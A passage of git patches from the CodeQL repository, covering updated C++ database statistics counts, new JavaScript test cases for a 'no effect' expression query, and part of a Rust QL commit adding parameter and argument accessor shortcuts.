2 6 - 90296 + 90312 @@ -32433,7 +32432,7 @@ 1 2 - 13544416 + 13546928 @@ -32443,15 +32442,15 @@ fieldoffsets - 1489139 + 1489415 id - 1489139 + 1489415 byteoffset - 31287 + 31293 bitoffset @@ -32469,7 +32468,7 @@ 1 2 - 1489139 + 1489415 @@ -32485,7 +32484,7 @@ 1 2 - 1489139 + 1489415 @@ -32501,7 +32500,7 @@ 1 2 - 17653 + 17656 2 @@ -32511,7 +32510,7 @@ 3 5 - 2661 + 2662 5 @@ -32547,7 +32546,7 @@ 1 2 - 30309 + 30315 2 @@ -32644,19 +32643,19 @@ bitfield - 30392 + 30276 id - 30392 + 30276 bits - 3502 + 3488 declared_bits - 3502 + 3488 @@ -32670,7 +32669,7 @@ 1 2 - 30392 + 30276 @@ -32686,7 +32685,7 @@ 1 2 - 30392 + 30276 @@ -32702,42 +32701,42 @@ 1 2 - 1000 + 996 2 3 - 750 + 747 3 4 - 250 + 249 4 5 - 500 + 498 5 7 - 250 + 249 8 9 - 250 + 249 9 11 - 250 + 249 13 143 - 250 + 249 @@ -32753,7 +32752,7 @@ 1 2 - 3502 + 3488 @@ -32769,42 +32768,42 @@ 1 2 - 1000 + 996 2 3 - 750 + 747 3 4 - 250 + 249 4 5 - 500 + 498 5 7 - 250 + 249 8 9 - 250 + 249 9 11 - 250 + 249 13 143 - 250 + 249 @@ -32820,7 +32819,7 @@ 1 2 - 3502 + 3488 @@ -32830,23 +32829,23 @@ initialisers - 2338659 + 2334426 init - 2338659 + 2334426 var - 989337 + 988524 expr - 2338659 + 2334426 location - 539154 + 537812 @@ -32860,7 +32859,7 @@ 1 2 - 2338659 + 2334426 @@ -32876,7 +32875,7 @@ 1 2 - 2338659 + 2334426 @@ -32892,7 +32891,7 @@ 1 2 - 2338659 + 2334426 @@ -32908,17 +32907,17 @@ 1 2 - 872291 + 871775 2 15 - 39495 + 39395 16 25 - 77549 + 77353 @@ -32934,17 +32933,17 @@ 1 2 - 872291 + 871775 2 15 - 39495 + 39395 16 25 - 77549 + 77353 @@ -32960,7 +32959,7 @@ 1 2 - 989328 + 988516 2 @@ -32981,7 +32980,7 @@ 1 2 - 2338659 + 2334426 @@ -32997,7 +32996,7 @@ 1 2 - 2338659 + 2334426 @@ -33013,7 +33012,7 @@ 1 2 - 2338659 + 2334426 @@ -33029,22 +33028,22 @@ 1 2 - 439236 + 438122 2 3 - 33072 + 32980 3 15 - 42172 + 42099 15 111796 - 24672 + 24610 @@ -33060,17 +33059,17 @@ 1 2 - 470366 + 469174 2 4 - 49613 + 49479 4 12163 - 19173 + 19159 @@ -33086,22 +33085,22 @@ 1 2 - 439236 + 438122 2 3 - 33072 + 32980 3 15 - 42172 + 42099 15 111796 - 24672 + 24610 @@ -33111,26 +33110,26 @@ braced_initialisers - 74182 + 74045 init - 74182 + 74045 expr_ancestor - 1795437 + 1795303 exp - 1795437 + 1795303 ancestor - 898593 + 898526 @@ -33144,7 +33143,7 @@ 1 2 - 1795437 + 1795303 @@ -33160,17 +33159,17 @@ 1 2 - 18283 + 18281 2 3 - 869534 + 869469 3 19 - 10776 + 10775 @@ -33180,19 +33179,19 @@ exprs - 25138614 + 25143276 id - 25138614 + 25143276 kind - 1456 + 1446 location - 5896962 + 10554420 @@ -33206,7 +33205,7 @@ 1 2 - 25138614 + 25143276 @@ -33222,7 +33221,7 @@ 1 2 - 25138614 + 25143276 @@ -33237,63 +33236,73 @@ 1 - 13 - 121 + 10 + 109 - 13 - 46 - 121 + 12 + 18 + 109 - 53 - 76 - 121 + 26 + 100 + 109 - 79 - 245 - 121 + 105 + 305 + 109 - 302 - 524 - 121 + 323 + 467 + 109 - 530 - 969 - 121 + 607 + 893 + 109 - 1043 - 2109 - 121 + 906 + 1658 + 109 - 2204 - 3636 - 121 + 1781 + 2386 + 109 - 4328 - 7013 - 121 + 3390 + 4336 + 109 - 7403 - 8498 - 121 + 4809 + 5185 + 109 - 9709 - 32322 - 121 + 5187 + 22128 + 109 - 33490 - 447645 - 121 + 26432 + 50205 + 109 + + + 63936 + 144106 + 109 + + + 313148 + 313149 + 21 @@ -33308,68 +33317,73 @@ 1 - 3 - 107 + 9 + 109 - 4 + 9 15 - 121 + 109 17 - 26 - 121 + 96 + 109 - 28 - 40 - 121 + 99 + 222 + 109 - 47 - 105 - 121 + 260 + 383 + 109 - 133 - 276 - 121 + 408 + 594 + 109 - 305 - 552 - 121 + 599 + 749 + 109 - 620 - 1425 - 121 + 864 + 1774 + 109 - 1437 - 1711 - 121 + 1812 + 2545 + 109 - 1929 - 3215 - 121 + 2623 + 2919 + 109 - 3232 - 8454 - 121 + 3419 + 4913 + 109 - 11521 - 87503 - 121 + 5473 + 21165 + 109 - 155156 - 155157 - 13 + 26254 + 76840 + 109 + + + 224080 + 224081 + 21 @@ -33385,32 +33399,22 @@ 1 2 - 2750855 + 8876940 2 3 - 1390969 + 818418 3 - 4 - 522854 + 16 + 795070 - 4 - 6 - 539333 - - - 6 - 13 - 455210 - - - 13 - 144777 - 237739 + 16 + 71733 + 63990 @@ -33426,17 +33430,17 @@ 1 2 - 4271139 + 9015970 2 3 - 1230098 + 772206 3 - 30 - 395724 + 32 + 766243 @@ -33446,15 +33450,15 @@ expr_reuse - 906491 + 906424 reuse - 906491 + 906424 original - 906491 + 906424 value_category @@ -33472,7 +33476,7 @@ 1 2 - 906491 + 906424 @@ -33488,7 +33492,7 @@ 1 2 - 906491 + 906424 @@ -33504,7 +33508,7 @@ 1 2 - 906491 + 906424 @@ -33520,7 +33524,7 @@ 1 2 - 906491 + 906424 @@ -33572,19 +33576,19 @@ expr_types - 25138614 + 25143276 id - 25138614 + 25143276 typeid - 120596 + 213630 value_category - 56 + 43 @@ -33598,7 +33602,7 @@ 1 2 - 25138614 + 25143276 @@ -33614,7 +33618,7 @@ 1 2 - 25138614 + 25143276 @@ -33630,57 +33634,52 @@ 1 2 - 17845 + 52371 2 3 - 19220 + 35097 3 4 - 10269 + 14468 4 5 - 8080 + 14490 5 - 7 - 10690 + 8 + 17515 - 7 - 11 - 11111 + 8 + 14 + 17340 - 11 - 18 - 10157 + 14 + 24 + 16397 - 18 - 33 - 9483 + 24 + 49 + 16025 - 33 - 70 - 9119 + 49 + 134 + 16134 - 70 - 233 - 9062 - - - 233 - 379496 - 5555 + 134 + 441505 + 13789 @@ -33696,12 +33695,12 @@ 1 2 - 100590 + 185417 2 3 - 20005 + 28213 @@ -33715,14 +33714,14 @@ 12 - 118902 - 118903 - 28 + 153745 + 153746 + 21 - 777025 - 777026 - 28 + 993192 + 993193 + 21 @@ -33736,14 +33735,14 @@ 12 - 1298 - 1299 - 28 + 2282 + 2283 + 21 - 3713 - 3714 - 28 + 8750 + 8751 + 21 @@ -33764,15 +33763,15 @@ new_allocated_type - 57992 + 57934 expr - 57992 + 57934 type_id - 34384 + 34350 @@ -33786,7 +33785,7 @@ 1 2 - 57992 + 57934 @@ -33802,17 +33801,17 @@ 1 2 - 14455 + 14440 2 3 - 18176 + 18158 3 19 - 1753 + 1751 @@ -33822,15 +33821,15 @@ new_array_allocated_type - 6932 + 6914 expr - 6932 + 6914 type_id - 2978 + 2970 @@ -33844,7 +33843,7 @@ 1 2 - 6932 + 6914 @@ -33865,12 +33864,12 @@ 2 3 - 2633 + 2626 3 5 - 224 + 223 6 @@ -35221,15 +35220,15 @@ condition_decl_bind - 437622 + 437589 expr - 437622 + 437589 decl - 437622 + 437589 @@ -35243,7 +35242,7 @@ 1 2 - 437622 + 437589 @@ -35259,7 +35258,7 @@ 1 2 - 437622 + 437589 @@ -35269,15 +35268,15 @@ typeid_bind - 60130 + 60071 expr - 60130 + 60071 type_id - 20015 + 19995 @@ -35291,7 +35290,7 @@ 1 2 - 60130 + 60071 @@ -35307,17 +35306,17 @@ 1 2 - 3720 + 3717 2 3 - 15781 + 15765 3 328 - 513 + 512 @@ -35327,15 +35326,15 @@ uuidof_bind - 28057 + 27985 expr - 28057 + 27985 type_id - 27789 + 27719 @@ -35349,7 +35348,7 @@ 1 2 - 28057 + 27985 @@ -35365,12 +35364,12 @@ 1 2 - 27565 + 27495 2 4 - 224 + 223 @@ -35380,15 +35379,15 @@ sizeof_bind - 241336 + 241380 expr - 241336 + 241380 type_id - 11178 + 11180 @@ -35402,7 +35401,7 @@ 1 2 - 241336 + 241380 @@ -35418,12 +35417,12 @@ 1 2 - 3866 + 3867 2 3 - 2775 + 2776 3 @@ -35433,7 +35432,7 @@ 4 5 - 1136 + 1137 5 @@ -35443,7 +35442,7 @@ 6 7 - 1061 + 1062 7 @@ -35511,11 +35510,11 @@ lambdas - 17748 + 17730 expr - 17748 + 17730 default_capture @@ -35537,7 +35536,7 @@ 1 2 - 17748 + 17730 @@ -35553,7 +35552,7 @@ 1 2 - 17748 + 17730 @@ -35652,15 +35651,15 @@ lambda_capture - 28523 + 28450 id - 28523 + 28450 lambda - 13294 + 13261 index @@ -35668,7 +35667,7 @@ field - 28523 + 28450 captured_by_reference @@ -35680,7 +35679,7 @@ location - 18396 + 18350 @@ -35694,7 +35693,7 @@ 1 2 - 28523 + 28450 @@ -35710,7 +35709,7 @@ 1 2 - 28523 + 28450 @@ -35726,7 +35725,7 @@ 1 2 - 28523 + 28450 @@ -35742,7 +35741,7 @@ 1 2 - 28523 + 28450 @@ -35758,7 +35757,7 @@ 1 2 - 28523 + 28450 @@ -35774,7 +35773,7 @@ 1 2 - 28523 + 28450 @@ -35790,27 +35789,27 @@ 1 2 - 6673 + 6656 2 3 - 3081 + 3074 3 4 - 1614 + 1610 4 6 - 1225 + 1222 6 18 - 699 + 697 @@ -35826,27 +35825,27 @@ 1 2 - 6673 + 6656 2 3 - 3081 + 3074 3 4 - 1614 + 1610 4 6 - 1225 + 1222 6 18 - 699 + 697 @@ -35862,27 +35861,27 @@ 1 2 - 6673 + 6656 2 3 - 3081 + 3074 3 4 - 1614 + 1610 4 6 - 1225 + 1222 6 18 - 699 + 697 @@ -35898,12 +35897,12 @@ 1 2 - 12724 + 12692 2 3 - 569 + 568 @@ -35919,7 +35918,7 @@ 1 2 - 13268 + 13235 2 @@ -35940,27 +35939,27 @@ 1 2 - 7303 + 7284 2 3 - 3245 + 3237 3 4 - 1329 + 1326 4 7 - 1087 + 1084 7 18 - 328 + 327 @@ -36269,7 +36268,7 @@ 2 3 - 112 + 111 @@ -36402,7 +36401,7 @@ 1 2 - 28523 + 28450 @@ -36418,7 +36417,7 @@ 1 2 - 28523 + 28450 @@ -36434,7 +36433,7 @@ 1 2 - 28523 + 28450 @@ -36450,7 +36449,7 @@ 1 2 - 28523 + 28450 @@ -36466,7 +36465,7 @@ 1 2 - 28523 + 28450 @@ -36482,7 +36481,7 @@ 1 2 - 28523 + 28450 @@ -36740,17 +36739,17 @@ 1 2 - 16566 + 16524 2 6 - 1398 + 1394 6 68 - 431 + 430 @@ -36766,12 +36765,12 @@ 1 2 - 17179 + 17136 2 68 - 1217 + 1214 @@ -36787,12 +36786,12 @@ 1 2 - 17663 + 17618 2 8 - 733 + 731 @@ -36808,17 +36807,17 @@ 1 2 - 16566 + 16524 2 6 - 1398 + 1394 6 68 - 431 + 430 @@ -36834,7 +36833,7 @@ 1 2 - 18370 + 18324 2 @@ -36855,7 +36854,7 @@ 1 2 - 18396 + 18350 @@ -36865,11 +36864,11 @@ fold - 1368 + 1367 expr - 1368 + 1367 operator @@ -36891,7 +36890,7 @@ 1 2 - 1368 + 1367 @@ -36907,7 +36906,7 @@ 1 2 - 1368 + 1367 @@ -36986,11 +36985,11 @@ stmts - 6258938 + 6243067 id - 6258938 + 6243067 kind @@ -36998,7 +36997,7 @@ location - 2754699 + 2747714 @@ -37012,7 +37011,7 @@ 1 2 - 6258938 + 6243067 @@ -37028,7 +37027,7 @@ 1 2 - 6258938 + 6243067 @@ -37266,17 +37265,17 @@ 1 2 - 2352912 + 2346946 2 4 - 239081 + 238474 4 1581 - 162705 + 162292 @@ -37292,12 +37291,12 @@ 1 2 - 2667989 + 2661224 2 10 - 86709 + 86489 @@ -37414,15 +37413,15 @@ if_initialization - 375 + 373 if_stmt - 375 + 373 init_id - 375 + 373 @@ -37436,7 +37435,7 @@ 1 2 - 375 + 373 @@ -37452,7 +37451,7 @@ 1 2 - 375 + 373 @@ -37462,15 +37461,15 @@ if_then - 987388 + 987571 if_stmt - 987388 + 987571 then_id - 987388 + 987571 @@ -37484,7 +37483,7 @@ 1 2 - 987388 + 987571 @@ -37500,7 +37499,7 @@ 1 2 - 987388 + 987571 @@ -37510,15 +37509,15 @@ if_else - 467787 + 467752 if_stmt - 467787 + 467752 else_id - 467787 + 467752 @@ -37532,7 +37531,7 @@ 1 2 - 467787 + 467752 @@ -37548,7 +37547,7 @@ 1 2 - 467787 + 467752 @@ -37606,15 +37605,15 @@ constexpr_if_then - 103934 + 103537 constexpr_if_stmt - 103934 + 103537 then_id - 103934 + 103537 @@ -37628,7 +37627,7 @@ 1 2 - 103934 + 103537 @@ -37644,7 +37643,7 @@ 1 2 - 103934 + 103537 @@ -37654,15 +37653,15 @@ constexpr_if_else - 74042 + 73759 constexpr_if_stmt - 74042 + 73759 else_id - 74042 + 73759 @@ -37676,7 +37675,7 @@ 1 2 - 74042 + 73759 @@ -37692,7 +37691,7 @@ 1 2 - 74042 + 73759 @@ -37798,15 +37797,15 @@ while_body - 39534 + 39542 while_stmt - 39534 + 39542 body_id - 39534 + 39542 @@ -37820,7 +37819,7 @@ 1 2 - 39534 + 39542 @@ -37836,7 +37835,7 @@ 1 2 - 39534 + 39542 @@ -37846,15 +37845,15 @@ do_body - 232974 + 233017 do_stmt - 232974 + 233017 body_id - 232974 + 233017 @@ -37868,7 +37867,7 @@ 1 2 - 232974 + 233017 @@ -37884,7 +37883,7 @@ 1 2 - 232974 + 233017 @@ -37942,11 +37941,11 @@ switch_case - 894840 + 894773 switch_stmt - 440777 + 440744 index @@ -37954,7 +37953,7 @@ case_id - 894840 + 894773 @@ -37973,7 +37972,7 @@ 2 3 - 437691 + 437658 3 @@ -37999,7 +37998,7 @@ 2 3 - 437691 + 437658 3 @@ -38162,7 +38161,7 @@ 1 2 - 894840 + 894773 @@ -38178,7 +38177,7 @@ 1 2 - 894840 + 894773 @@ -38188,15 +38187,15 @@ switch_body - 440777 + 440744 switch_stmt - 440777 + 440744 body_id - 440777 + 440744 @@ -38210,7 +38209,7 @@ 1 2 - 440777 + 440744 @@ -38226,7 +38225,7 @@ 1 2 - 440777 + 440744 @@ -38236,15 +38235,15 @@ for_initialization - 73036 + 73050 for_stmt - 73036 + 73050 init_id - 73036 + 73050 @@ -38258,7 +38257,7 @@ 1 2 - 73036 + 73050 @@ -38274,7 +38273,7 @@ 1 2 - 73036 + 73050 @@ -38284,15 +38283,15 @@ for_condition - 76123 + 76137 for_stmt - 76123 + 76137 condition_id - 76123 + 76137 @@ -38306,7 +38305,7 @@ 1 2 - 76123 + 76137 @@ -38322,7 +38321,7 @@ 1 2 - 76123 + 76137 @@ -38332,15 +38331,15 @@ for_update - 73177 + 73190 for_stmt - 73177 + 73190 update_id - 73177 + 73190 @@ -38354,7 +38353,7 @@ 1 2 - 73177 + 73190 @@ -38370,7 +38369,7 @@ 1 2 - 73177 + 73190 @@ -38380,15 +38379,15 @@ for_body - 84148 + 84163 for_stmt - 84148 + 84163 body_id - 84148 + 84163 @@ -38402,7 +38401,7 @@ 1 2 - 84148 + 84163 @@ -38418,7 +38417,7 @@ 1 2 - 84148 + 84163 @@ -38428,19 +38427,19 @@ stmtparents - 5523824 + 5509817 id - 5523824 + 5509817 index - 16765 + 16722 parent - 2342363 + 2336423 @@ -38454,7 +38453,7 @@ 1 2 - 5523824 + 5509817 @@ -38470,7 +38469,7 @@ 1 2 - 5523824 + 5509817 @@ -38486,52 +38485,52 @@ 1 2 - 5507 + 5493 2 3 - 1372 + 1369 3 4 - 302 + 301 4 5 - 2132 + 2126 7 8 - 1398 + 1394 8 12 - 1087 + 1084 12 29 - 1476 + 1472 29 38 - 1260 + 1257 41 77 - 1269 + 1265 77 195079 - 958 + 955 @@ -38547,52 +38546,52 @@ 1 2 - 5507 + 5493 2 3 - 1372 + 1369 3 4 - 302 + 301 4 5 - 2132 + 2126 7 8 - 1398 + 1394 8 12 - 1087 + 1084 12 29 - 1476 + 1472 29 38 - 1260 + 1257 41 77 - 1269 + 1265 77 195079 - 958 + 955 @@ -38608,32 +38607,32 @@ 1 2 - 1344445 + 1341036 2 3 - 507773 + 506485 3 4 - 144118 + 143753 4 6 - 151422 + 151038 6 16 - 175775 + 175329 16 1943 - 18828 + 18780 @@ -38649,32 +38648,32 @@ 1 2 - 1344445 + 1341036 2 3 - 507773 + 506485 3 4 - 144118 + 143753 4 6 - 151422 + 151038 6 16 - 175775 + 175329 16 1943 - 18828 + 18780 @@ -38684,30 +38683,30 @@ ishandler - 47389 + 47376 block - 47389 + 47376 stmt_decl_bind - 730244 + 723032 stmt - 689803 + 682990 num - 125 + 124 decl - 730175 + 722964 @@ -38721,12 +38720,12 @@ 1 2 - 667590 + 660997 2 32 - 22212 + 21993 @@ -38742,12 +38741,12 @@ 1 2 - 667590 + 660997 2 32 - 22212 + 21993 @@ -38885,7 +38884,7 @@ 1 2 - 730151 + 722940 2 @@ -38906,7 +38905,7 @@ 1 2 - 730175 + 722964 @@ -38916,19 +38915,19 @@ stmt_decl_entry_bind - 730244 + 723032 stmt - 689803 + 682990 num - 125 + 124 decl_entry - 730244 + 723032 @@ -38942,12 +38941,12 @@ 1 2 - 667590 + 660997 2 32 - 22212 + 21993 @@ -38963,12 +38962,12 @@ 1 2 - 667590 + 660997 2 32 - 22212 + 21993 @@ -39106,7 +39105,7 @@ 1 2 - 730244 + 723032 @@ -39122,7 +39121,7 @@ 1 2 - 730244 + 723032 @@ -39132,15 +39131,15 @@ blockscope - 1764517 + 1757769 block - 1764517 + 1757769 enclosing - 1509119 + 1503348 @@ -39154,7 +39153,7 @@ 1 2 - 1764517 + 1757769 @@ -39170,17 +39169,17 @@ 1 2 - 1337771 + 1332655 2 3 - 128699 + 128207 3 28 - 42649 + 42486 @@ -39190,19 +39189,19 @@ jumpinfo - 347327 + 347391 id - 347327 + 347391 str - 28866 + 28871 target - 72498 + 72512 @@ -39216,7 +39215,7 @@ 1 2 - 347327 + 347391 @@ -39232,7 +39231,7 @@ 1 2 - 347327 + 347391 @@ -39248,12 +39247,12 @@ 2 3 - 13558 + 13560 3 4 - 6041 + 6042 4 @@ -39268,7 +39267,7 @@ 6 10 - 2191 + 2192 10 @@ -39278,7 +39277,7 @@ 25 13711 - 999 + 1000 @@ -39294,17 +39293,17 @@ 1 2 - 23124 + 23128 2 3 - 3616 + 3617 3 3321 - 2124 + 2125 @@ -39325,27 +39324,27 @@ 2 3 - 36107 + 36114 3 4 - 17583 + 17586 4 5 - 7358 + 7359 5 8 - 6399 + 6401 8 2124 - 5016 + 5017 @@ -39361,7 +39360,7 @@ 1 2 - 72498 + 72512 @@ -39371,19 +39370,19 @@ preprocdirects - 5407616 + 5386937 id - 5407616 + 5386937 kind - 1375 + 1370 location - 5404364 + 5383697 @@ -39397,7 +39396,7 @@ 1 2 - 5407616 + 5386937 @@ -39413,7 +39412,7 @@ 1 2 - 5407616 + 5386937 @@ -39429,57 +39428,57 @@ 1 2 - 125 + 124 145 146 - 125 + 124 808 809 - 125 + 124 866 867 - 125 + 124 973 974 - 125 + 124 1509 1510 - 125 + 124 1891 1892 - 125 + 124 3256 3257 - 125 + 124 4714 4715 - 125 + 124 7089 7090 - 125 + 124 21984 21985 - 125 + 124 @@ -39495,57 +39494,57 @@ 1 2 - 125 + 124 145 146 - 125 + 124 808 809 - 125 + 124 866 867 - 125 + 124 973 974 - 125 + 124 1509 1510 - 125 + 124 1891 1892 - 125 + 124 3256 3257 - 125 + 124 4714 4715 - 125 + 124 7089 7090 - 125 + 124 21958 21959 - 125 + 124 @@ -39561,12 +39560,12 @@ 1 2 - 5404239 + 5383573 27 28 - 125 + 124 @@ -39582,7 +39581,7 @@ 1 2 - 5404364 + 5383697 @@ -39592,15 +39591,15 @@ preprocpair - 1141282 + 1136918 begin - 886636 + 883245 elseelifend - 1141282 + 1136918 @@ -39614,17 +39613,17 @@ 1 2 - 645622 + 643153 2 3 - 231383 + 230498 3 9 - 9630 + 9593 @@ -39640,7 +39639,7 @@ 1 2 - 1141282 + 1136918 @@ -39650,41 +39649,41 @@ preproctrue - 437752 + 436078 branch - 437752 + 436078 preprocfalse - 284664 + 283575 branch - 284664 + 283575 preproctext - 4352508 + 4335863 id - 4352508 + 4335863 head - 2954828 + 2943528 body - 1681344 + 1674914 @@ -39698,7 +39697,7 @@ 1 2 - 4352508 + 4335863 @@ -39714,7 +39713,7 @@ 1 2 - 4352508 + 4335863 @@ -39730,12 +39729,12 @@ 1 2 - 2758089 + 2747542 2 798 - 196738 + 195986 @@ -39751,12 +39750,12 @@ 1 2 - 2875157 + 2864162 2 5 - 79670 + 79366 @@ -39772,17 +39771,17 @@ 1 2 - 1532758 + 1526896 2 10 - 127698 + 127210 10 13579 - 20887 + 20807 @@ -39798,17 +39797,17 @@ 1 2 - 1537010 + 1531133 2 12 - 127323 + 126836 12 3231 - 17009 + 16944 @@ -39818,15 +39817,15 @@ includes - 406823 + 397819 id - 406823 + 397819 included - 74940 + 73281 @@ -39840,7 +39839,7 @@ 1 2 - 406823 + 397819 @@ -39856,37 +39855,37 @@ 1 2 - 37085 + 36264 2 3 - 12056 + 11789 3 4 - 6324 + 6184 4 6 - 6837 + 6685 6 11 - 5771 + 5644 11 47 - 5623 + 5499 47 793 - 1240 + 1213 @@ -39896,15 +39895,15 @@ link_targets - 943 + 923 id - 943 + 923 binary - 943 + 923 @@ -39918,7 +39917,7 @@ 1 2 - 943 + 923 @@ -39934,7 +39933,7 @@ 1 2 - 943 + 923 @@ -39944,11 +39943,11 @@ link_parent - 38129861 + 38113707 element - 4849837 + 4847510 link_target @@ -39966,17 +39965,17 @@ 1 2 - 665798 + 665224 2 9 - 33828 + 33795 9 10 - 4150209 + 4148490 @@ -39995,48 +39994,48 @@ 42 - 97300 - 97301 + 97356 + 97357 42 - 97419 - 97420 + 97475 + 97476 42 - 97472 - 97473 + 97528 + 97529 42 - 97499 - 97500 + 97555 + 97556 42 - 97521 - 97522 + 97577 + 97578 42 - 97553 - 97554 + 97609 + 97610 42 - 99560 - 99561 + 99616 + 99617 42 - 102940 - 102941 + 102996 + 102997 42 - 104302 - 104303 + 104360 + 104361 42 From b7f7092ab3fd95bab224587e0565ab5f21b64173 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 10 Jun 2025 09:37:40 +0200 Subject: [PATCH 202/271] Added test cases for better test coverage --- .../Expressions/ExprHasNoEffect/ExprHasNoEffect.expected | 2 ++ .../ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js | 3 +++ 2 files changed, 5 insertions(+) diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index f1beafe0037..2a792b42e19 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -12,4 +12,6 @@ | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | +| tst.js:83:43:83:46 | null | This expression has no effect. | +| tst.js:84:42:84:45 | null | This expression has no effect. | | uselessfn.js:1:2:1:26 | functio ... d.");\\n} | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js index a91759e553f..c9f3366c9ad 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js @@ -79,4 +79,7 @@ function g() { consume(testSomeCondition() ? o : doSomethingDangerous()); + + ("release" === isRelease() ? warning() : null); // $ Alert + "release" === isRelease() ? warning() : null; // $ Alert }; From a405a12e93eb5f6fbc105fa31b19fea78b1b25f9 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 6 Jun 2025 16:18:16 +0200 Subject: [PATCH 203/271] Rust: add `Callable::getParam` and `CallExprBase::getArg` shortcuts --- rust/ql/.generated.list | 23 +++++++++++-------- rust/ql/.gitattributes | 5 +++- .../internal/generated/CfgNodes.qll | 15 ++++++++++++ rust/ql/lib/codeql/rust/elements/Callable.qll | 1 + .../elements/internal/CallExprBaseImpl.qll | 2 ++ .../rust/elements/internal/CallableImpl.qll | 6 +++-- .../internal/generated/CallExprBase.qll | 16 +++++++++++++ .../elements/internal/generated/Callable.qll | 16 +++++++++++++ .../generated/CallExpr/CallExpr.expected | 8 +++---- .../generated/CallExpr/CallExpr.ql | 7 +++--- .../CallExpr/CallExpr_getArg.expected | 4 ++++ .../generated/CallExpr/CallExpr_getArg.ql | 7 ++++++ .../ClosureExpr/ClosureExpr.expected | 10 ++++---- .../generated/ClosureExpr/ClosureExpr.ql | 13 +++++++---- .../ClosureExpr/ClosureExpr_getParam.expected | 6 +++++ .../ClosureExpr/ClosureExpr_getParam.ql | 7 ++++++ .../generated/Function/Function.expected | 4 ++-- .../generated/Function/Function.ql | 21 +++++++++-------- .../Function/Function_getParam.expected | 1 + .../generated/Function/Function_getParam.ql | 7 ++++++ .../MethodCallExpr/MethodCallExpr.expected | 4 ++-- .../MethodCallExpr/MethodCallExpr.ql | 13 +++++++---- .../MethodCallExpr_getArg.expected | 2 ++ .../MethodCallExpr/MethodCallExpr_getArg.ql | 7 ++++++ rust/schema/annotations.py | 1 + rust/schema/prelude.py | 1 + 26 files changed, 159 insertions(+), 48 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.expected create mode 100644 rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql create mode 100644 rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.expected create mode 100644 rust/ql/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql create mode 100644 rust/ql/test/extractor-tests/generated/Function/Function_getParam.expected create mode 100644 rust/ql/test/extractor-tests/generated/Function/Function_getParam.ql create mode 100644 rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.expected create mode 100644 rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index eb60dccb3e6..d2e2ec8d2d4 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll bd01b4d17625ee8c0da93231cf2291deb7e57db2c8aaa2c37968553c3144c47e 6e6ac58e09b84d02f461699a25ee80798a1bdc51c1836d9d75f5b52e93ae7ba6 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 6a103a6d04c951ca2f0c2989bed737cdbac56dd5ea9432b858da3416412bbf79 cf2bc67b65a1555de58bbd0a35b834b8867112a2f7c1951307c9416400ce70d0 lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 @@ -33,7 +33,7 @@ lib/codeql/rust/elements/BoxPat.qll 1b2c3fff171aa6aa238c9460b122f26c79e04577cea6 lib/codeql/rust/elements/BreakExpr.qll 7ca3807a20e9a9a988d1fd7abebf240325ed422fcb45c719ba46272f031f94db dffb7379d3f3ba220acfbd05eb7bb6cfd9cfda211e9c8b1f5240ca5fa61be3fc lib/codeql/rust/elements/CallExpr.qll f336500ca7a611b164d48b90e80edb0c0d3816792b0ececce659ac1ff1ffeb3e f99a9c55466418ef53860c44d9f2d6161af4b492178ddd9e5870dff742b70ae5 lib/codeql/rust/elements/CallExprBase.qll 2846202b5208b541977500286951d96487bf555838c6c16cdd006a71e383745a c789d412bf099c624329379e0c7d94fa0d23ae2edea7a25a2ea0f3c0042ccf62 -lib/codeql/rust/elements/Callable.qll e1ed21a7e6bd2426f6ccd0e46cee506d8ebf90a6fdc4dca0979157da439853aa 02f6c09710116ce82157aec9a5ec706983c38e4d85cc631327baf8d409b018c6 +lib/codeql/rust/elements/Callable.qll 0f7f78c3bfabbe24962f6232b0440d27e51f06d2b8d341fc623ffbfbff173f47 5fd13aaa0eaf76ea0b47fa0641bd23eea20a069f0b3cbc1ee4e290e88321008a lib/codeql/rust/elements/CastExpr.qll 2fe1f36ba31fa29de309baf0a665cfcae67b61c73345e8f9bbd41e8c235fec45 c5b4c1e9dc24eb2357799defcb2df25989075e3a80e8663b74204a1c1b70e29a lib/codeql/rust/elements/ClosureBinder.qll 02c8e83bf07deaf7bf0233b76623ec7f1837be8b77fe7e1c23544edc7d85e3c4 2b114d9a6dede694324aebe3dac80a802d139cfacd39beb0f12b5b0a46ee6390 lib/codeql/rust/elements/ClosureExpr.qll 